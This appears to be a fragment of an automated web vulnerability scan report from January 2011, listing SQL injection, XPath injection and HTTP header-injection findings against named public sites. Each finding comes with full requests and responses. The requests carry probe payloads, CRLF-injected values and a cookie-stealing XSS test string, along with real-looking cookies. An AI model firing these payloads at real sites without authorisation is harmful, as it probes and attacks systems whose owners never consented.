GET /subscription-services/subscribe-to-e-newsletter?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:44 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.195. http://www.woothemes.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.woothemes.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /?1%20and%201%3d1--%20=1 HTTP/1.1 Host: www.woothemes.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:11:06 GMT Server: LiteSpeed Connection: close X-Powered-By: PHP/5.3.2 Last-Modified: Tue, 25 Jan 2011 00:11:06 GMT Vary: Cookie X-Pingback: http://www.woothemes.com/xmlrpc.php Content-Type: text/html; charset=UTF-8 Content-Length: 26001
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head profile="http://gmpg.org/xfn/1 ...[SNIP]... <p>We love the ability to make little tweaks to the themes and away we go! Drop in great content and let the Woo Framework do the rest. Also, the ability to apply different looks as the new themes continue roll out! Splendid Woo Ninja forum support. If you sold those cute woo dolls, I...d buy one!</p></blockquote><div class="author"> <img alt='' src='http://1.gravatar.com/avatar/da1ea33c317a366d03ea9366626bc570?s=30&d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D30&r=G' class='avatar avatar-30 photo' height='30' width='30' /><p class="name">Kristi</p><p class="site"><a href="http://yaalife.com">YaaLife</a></p></div><div class="fix"></div></div><div id="steps"><div class="steps-steps"> <a href="http://www.woothemes.com/themes/" title="Browse our Themes Gallery to find the themes that you like best. View the demos and try the themes in our Playground." class="step-single steps-1 tiptip"></a> <a href="http://www.woothemes.com/pricing/" title="Once you've picked your themes, choose the Theme Package that best suits you, or subscribe to our WordPress Themes Club to get all our WordPress themes." class="step-single steps-2 tiptip"></a> <a href="http://www.wordpress.org" title="If you haven't already done so, download WordPress and install it on your web server. Then upload and activate your theme by following our documentation." class="step-single steps-3 tiptip"></a> <a href="http://www.woothemes.com/support/" title="Set up your new WooTheme with the options panel - customizing the look and feel of your website with ease. Ask for help in our support forum where one of our WooNinjas will assist you." class="step-single steps-4 tiptip"></a></div><div class="info-box"> <a href="http://www.woothemes.com/the-woothemes-club/">See our Pricing Options</a> <span style="font-size:14px; font-weight:bold; padding:0 5px;">OR</span> <a href="http://www.woothemes.com/themes/">View our Theme Collection</a></div></div><div id="news"><div id="blog ...[SNIP]...
Request 2
GET /?1%20and%201%3d2--%20=1 HTTP/1.1 Host: www.woothemes.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:11:07 GMT Server: LiteSpeed Connection: close X-Powered-By: PHP/5.3.2 Last-Modified: Tue, 25 Jan 2011 00:11:07 GMT Vary: Cookie X-Pingback: http://www.woothemes.com/xmlrpc.php Content-Type: text/html; charset=UTF-8 Content-Length: 25873
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head profile="http://gmpg.org/xfn/1 ...[SNIP]... <p>The WooThemes team just gets ...it.... ...It... being customer service, audience targetting; what people need and what people want all at the same time.</p></blockquote><div class="author"> <img alt='' src='http://1.gravatar.com/avatar/d8cfb29a7cf26b7bad6469f357604f93?s=30&d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D30&r=G' class='avatar avatar-30 photo' height='30' width='30' /><p class="name">Gavin Elliott</p><p class="site"><a href="http://www.gavinelliott.co.uk">Website</a></p></div><div class="fix"></div></div><div id="steps"><div class="steps-steps"> <a href="http://www.woothemes.com/themes/" title="Browse our Themes Gallery to find the themes that you like best. View the demos and try the themes in our Playground." class="step-single steps-1 tiptip"></a> <a href="http://www.woothemes.com/pricing/" title="Once you've picked your themes, choose the Theme Package that best suits you, or subscribe to our WordPress Themes Club to get all our WordPress themes." class="step-single steps-2 tiptip"></a> <a href="http://www.wordpress.org" title="If you haven't already done so, download WordPress and install it on your web server. Then upload and activate your theme by following our documentation." class="step-single steps-3 tiptip"></a> <a href="http://www.woothemes.com/support/" title="Set up your new WooTheme with the options panel - customizing the look and feel of your website with ease. Ask for help in our support forum where one of our WooNinjas will assist you." class="step-single steps-4 tiptip"></a></div><div class="info-box"> <a href="http://www.woothemes.com/the-woothemes-club/">See our Pricing Options</a> <span style="font-size:14px; font-weight:bold; padding:0 5px;">OR</span> <a href="http://www.woothemes.com/themes/">View our Theme Collection</a></div></div><div id="news"><div id="blog"><h3><a class="feed" href="http://feeds.feedburner.com/WooThemes" title="Subribe to our RSS feed"><img src="http://cdn.wootheme ...[SNIP]...
2. XPath injectionpreviousnext There are 6 instances of this issue:
XPath injection vulnerabilities arise when user-controllable data is incorporated into XPath queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Depending on the purpose for which the vulnerable query is being used, an attacker may be able to exploit an XPath injection flaw to read sensitive application data or interfere with application logic.
Issue remediation
User input should be strictly validated before being incorporated into XPath queries. In most cases, it will be appropriate to accept input containing only short alhanumeric strings. At the very least, input containing any XPath metacharacters such as " ' / @ = * [ ] ( and ) should be rejected.
2.1. http://sourceforge.net/softwaremap/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://sourceforge.net
Path:
/softwaremap/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /softwaremap/?1'=1 HTTP/1.1 Host: sourceforge.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The REST URL parameter 1 appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the REST URL parameter 1, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /uudised'/joomla/329-joomla-16-on-saabunud.html HTTP/1.1 Host: www.eraser.ee Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The wd cookie appears to be vulnerable to XPath injection attacks. The payload %2527 was submitted in the wd cookie, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /miofeghali HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80%2527; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=tMW6p; path=/; domain=.facebook.com Set-Cookie: noscript=1; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fmiofeghali; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fmiofeghali; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:45 GMT Content-Length: 15220
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]... EBLj3TW5HgxzKpY4YIrmXryfjTIgKaijbCQhxd71Yz9VpuUUlS0rbsbc7WHXdKW7vPgE3kTOvRDMokoKudb2XuNt2t4Zm-OTQpLzdx_oFb7_zDAC_G6VZrWhXKmgJGZZwPcjxs5WmS9yRdd-4y6TTAdk6Kpuw4yw69QsDYCszqX4TJ3RXAbClw6xmH2yNS2MdmuYe2IhrXPATH3JiqDG26c2EnGJ3oq3OeEOOyT41pQNtST1e_Qo4nEQfn9RbspEraP9MoYzdgXXC2ztzQniqL3j06oAlipmU2F8mNQcSaXS1N48B_FOTTy2rmRmWocp-m9yQ0JII2qtxCgKdoJ5fx0" autocomplete="off" /> ...[SNIP]...
The Referer HTTP header appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the Referer HTTP header, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /TR HTTP/1.1 Host: www.w3.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q='
Response (redirected)
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:41:00 GMT Server: Apache/2 Content-Location: Overview.html Vary: negotiate,accept-encoding TCN: choice Last-Modified: Thu, 20 Jan 2011 15:34:42 GMT ETag: "896a7-49a48df542880;9d-48046fe28dec0" Accept-Ranges: bytes Content-Length: 562855 Cache-Control: max-age=600 Expires: Tue, 25 Jan 2011 04:51:00 GMT P3P: policyref="http://www.w3.org/2001/05/P3P/p3p.xml" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- Generated from da ...[SNIP]... <a title="Delivery Context: XPath Access Functions 1.0 publication history" href="/standards/history/cselection-xaf"> ...[SNIP]...
The User-Agent HTTP header appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the User-Agent HTTP header, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /TR HTTP/1.1 Host: www.w3.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:40:53 GMT Server: Apache/2 Content-Location: Overview.html Vary: negotiate,accept-encoding TCN: choice Last-Modified: Thu, 20 Jan 2011 15:34:42 GMT ETag: "896a7-49a48df542880;9d-48046fe28dec0" Accept-Ranges: bytes Content-Length: 562855 Cache-Control: max-age=600 Expires: Tue, 25 Jan 2011 04:50:53 GMT P3P: policyref="http://www.w3.org/2001/05/P3P/p3p.xml" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- Generated from da ...[SNIP]... <a title="Delivery Context: XPath Access Functions 1.0 publication history" href="/standards/history/cselection-xaf"> ...[SNIP]...
2.6. http://www.w3.org/TR [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.w3.org
Path:
/TR
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /TR?1'=1 HTTP/1.1 Host: www.w3.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:40:48 GMT Server: Apache/2 Content-Location: Overview.html Vary: negotiate,accept-encoding TCN: choice Last-Modified: Thu, 20 Jan 2011 15:34:42 GMT ETag: "896a7-49a48df542880;9d-48046fe28dec0" Accept-Ranges: bytes Content-Length: 562855 Cache-Control: max-age=600 Expires: Tue, 25 Jan 2011 04:50:48 GMT P3P: policyref="http://www.w3.org/2001/05/P3P/p3p.xml" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- Generated from da ...[SNIP]... <a title="Delivery Context: XPath Access Functions 1.0 publication history" href="/standards/history/cselection-xaf"> ...[SNIP]...
3. HTTP header injectionpreviousnext There are 15 instances of this issue:
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of REST URL parameter 1 is copied into the Location response header. The payload 14a95%0d%0a79f68532ca4 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /14a95%0d%0a79f68532ca4/N6061.194450.CDN.TURN.COM/B4419610.3;sz=468x60;ord=3442293584429726933?;click=http://r.turn.com/r/formclick/id/1TyK6MZ7xS9SpwAAagABAA/url/; HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/14a95 79f68532ca4/N6061.194450.CDN.TURN.COM/B4419610.3%3Bsz%3D468x60%3Bord%3D3442293584429726933: Date: Tue, 25 Jan 2011 04:26:33 GMT Server: GFE/2.0
The value of REST URL parameter 1 is copied into the Location response header. The payload 83d20%0d%0a1d229ae03b9 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /83d20%0d%0a1d229ae03b9/N4319.AOL/B2387887.363 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/83d20 1d229ae03b9/N4319.AOL/B2387887.363: Date: Mon, 24 Jan 2011 22:29:18 GMT Server: GFE/2.0 Connection: close
The value of REST URL parameter 1 is copied into the Location response header. The payload 90a37%0d%0a55eb3835e88 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /90a37%0d%0a55eb3835e88/fmpub.tweetmeme/;sz=160x600;fmzid=2673;;fmcls=ATF;tile=1;qcseg=D;qcseg=T;qcseg=2891;qcseg=2867;qcseg=2866;qcseg=2865;qcseg=2363;qcseg=2362;qcseg=2355;qcseg=2353;qcseg=2352;qcseg=2349;qcseg=2339;qcseg=1286;qcseg=1160;qcseg=1159;qcseg=1156;qcseg=1149;qcseg=1148;qcseg=983;ord=9735370394773782; HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=600&rand=26297691596 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/90a37 55eb3835e88/fmpub.tweetmeme/%3Bsz%3D160x600%3Bfmzid%3D2673%3B%3Bfmcls%3DATF%3Btile%3D1%3Bqcseg%3DD%3Bqcseg%3DT%3Bqcseg%3D2891%3Bqcseg%3D2867%3Bqcseg%3D2866%3Bqcseg%3D2865%3Bqcseg%3D2363%3Bqcseg%3D2362%3Bqcseg%3D2355%3Bqcseg%3D2353%3Bqcseg%3D2352%3Bqcseg%3D2349%3Bqcseg%3D2339%3Bqcseg%3D1286%3Bqcseg%3D1160%3Bqcseg%3D1159%3Bqcseg%3D1156%3Bqcseg%3D1149%3Bqcseg%3D1148%3Bqcseg%3D983%3Bord%3D973537: Date: Tue, 25 Jan 2011 04:26:39 GMT Server: GFE/2.0
The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload f8e54%0d%0a5ad09fe6b0e was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.
Request
GET /BurstingPipe/adServer.bs?cn=tf&c=19&mc=imp&pli=2150004&PluID=0&ord=1295907707715&rtu=-1 HTTP/1.1 Host: bs.serving-sys.com Proxy-Connection: keep-alive Referer: http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=53705905654 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: u3=1; C4=; eyeblaster=BWVal=&BWDate=&debuglevel=&FLV=10.1103&RES=128&WMPV=0f8e54%0d%0a5ad09fe6b0e; A3=gn3Ka4JO09MY00001fU+La50V0a+r00001fUFGa50V02WG00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001; B3=7lgH0000000001sG852G0000000003sS83xP0000000001sF7gi30000000001sG852z0000000001sS852A0000000001sS; u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g
The value of REST URL parameter 1 is copied into the Location response header. The payload 9919a%0d%0a8ed3d3a570a was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /9919a%0d%0a8ed3d3a570a/service/getWidgetSwf.kickAction HTTP/1.1 Host: community.parenthood.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Moved Temporarily Date: Tue, 25 Jan 2011 04:30:20 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: JSESSIONID=A76D16466300A16AB155473E54F4E0D6; Path=/ Location: http://community.parenthood.com/9919a 8ed3d3a570a/service/getWidgetSwf.kickAction/index.html Content-Length: 0 Cache-Control: max-age=7776000 Expires: Mon, 25 Apr 2011 04:30:20 GMT P3P: policyref="http://www.yuku.com/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa HISa OUR NOR IND PHY ONL UNI COM NAV INT DEM PRE LOC" Content-Type: text/plain; charset=UTF-8
3.6. http://community.parenthood.com/kickapps/service/getWidgetSwf.kickAction [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://community.parenthood.com
Path:
/kickapps/service/getWidgetSwf.kickAction
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 8b555%0d%0a22151d96637 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /kickapps/service/getWidgetSwf.kickAction?8b555%0d%0a22151d96637=1 HTTP/1.1 Host: community.parenthood.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Moved Temporarily Date: Tue, 25 Jan 2011 04:29:10 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: JSESSIONID=E15042C488ADD828D1708B6F7E91CB18; Path=/ Location: http://kickapps.yuku.com/kickFlash/KickShell.swf?referralUrl=http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1&widgetHost=kickapps.yuku.com&buildVersion=1.0.589&8b555 22151d96637=1 Content-Length: 0 Cache-Control: max-age=7776000 Expires: Mon, 25 Apr 2011 04:29:10 GMT P3P: policyref="http://www.yuku.com/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa HISa OUR NOR IND PHY ONL UNI COM NAV INT DEM PRE LOC" Content-Type: text/plain; charset=UTF-8
The value of REST URL parameter 4 is copied into the Location response header. The payload bbba5%0d%0afd261744c82 was submitted in the REST URL parameter 4. This caused a response containing an injected HTTP header.
Request
GET /products/plugin/autodl/jinstall-1_4_2-windows-i586.cabbbba5%0d%0afd261744c82 HTTP/1.1 Host: java.sun.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Server: Sun-Java-System-Web-Server/7.0 Date: Tue, 25 Jan 2011 15:11:12 GMT Location: /update/1.4.2/jinstall-1_4_2-windows-i586.cabbbba5 fd261744c82 Content-length: 0 Connection: close
The value of REST URL parameter 1 is copied into the Location response header. The payload b8001%0d%0adc2701e3e3b was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /b8001%0d%0adc2701e3e3b/service/getWidget.kickAction?widgetId=21535&as=40337 HTTP/1.1 Host: kickapps.yuku.com Proxy-Connection: keep-alive Referer: http://community.parenthood.com/kickapps/service/getWidgetSwf.kickAction Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Moved Temporarily Date: Tue, 25 Jan 2011 03:04:27 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: JSESSIONID=FD7E83564A2B6498217379533A2EBF6C; Path=/ Set-Cookie: as=40337; Expires=Wed, 26-Jan-2011 03:04:27 GMT; Path=/ Location: http://kickapps.yuku.com/b8001 dc2701e3e3b/service/getWidget.kickAction/index.html Content-Length: 0 Cache-Control: max-age=7776000 Expires: Mon, 25 Apr 2011 03:04:27 GMT P3P: policyref="http://www.yuku.com/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa HISa OUR NOR IND PHY ONL UNI COM NAV INT DEM PRE LOC" Content-Type: text/plain; charset=UTF-8
The value of REST URL parameter 1 is copied into the Location response header. The payload b5b5b%0d%0abf598142f7 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /b5b5b%0d%0abf598142f7/pg?cont_id=11&d=f&host=media.fastclick.net HTTP/1.1 Host: rd.apmebf.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: S=fks3qs-58150-1294536375707-a5
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://media.fastclick.net/b5b5b bf598142f7/pg ...[SNIP]...
The value of REST URL parameter 2 is copied into the Location response header. The payload bfc39%0d%0a8009e591a60 was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Request
GET /w/bfc39%0d%0a8009e591a60?cont_id=11&d=f&host=media.fastclick.net HTTP/1.1 Host: rd.apmebf.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: S=fks3qs-58150-1294536375707-a5
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://media.fastclick.net/w/bfc39 8009e591a60 ...[SNIP]...
The value of the S cookie is copied into the Set-Cookie response header. The payload b55c0%0d%0a6458ee17d9d was submitted in the S cookie. This caused a response containing an injected HTTP header.
Request
GET /w/pg?cont_id=11&d=f&host=media.fastclick.net HTTP/1.1 Host: rd.apmebf.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: S=b55c0%0d%0a6458ee17d9d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://media.fastclick.net/w/pg?cont_id=11& ...[SNIP]...
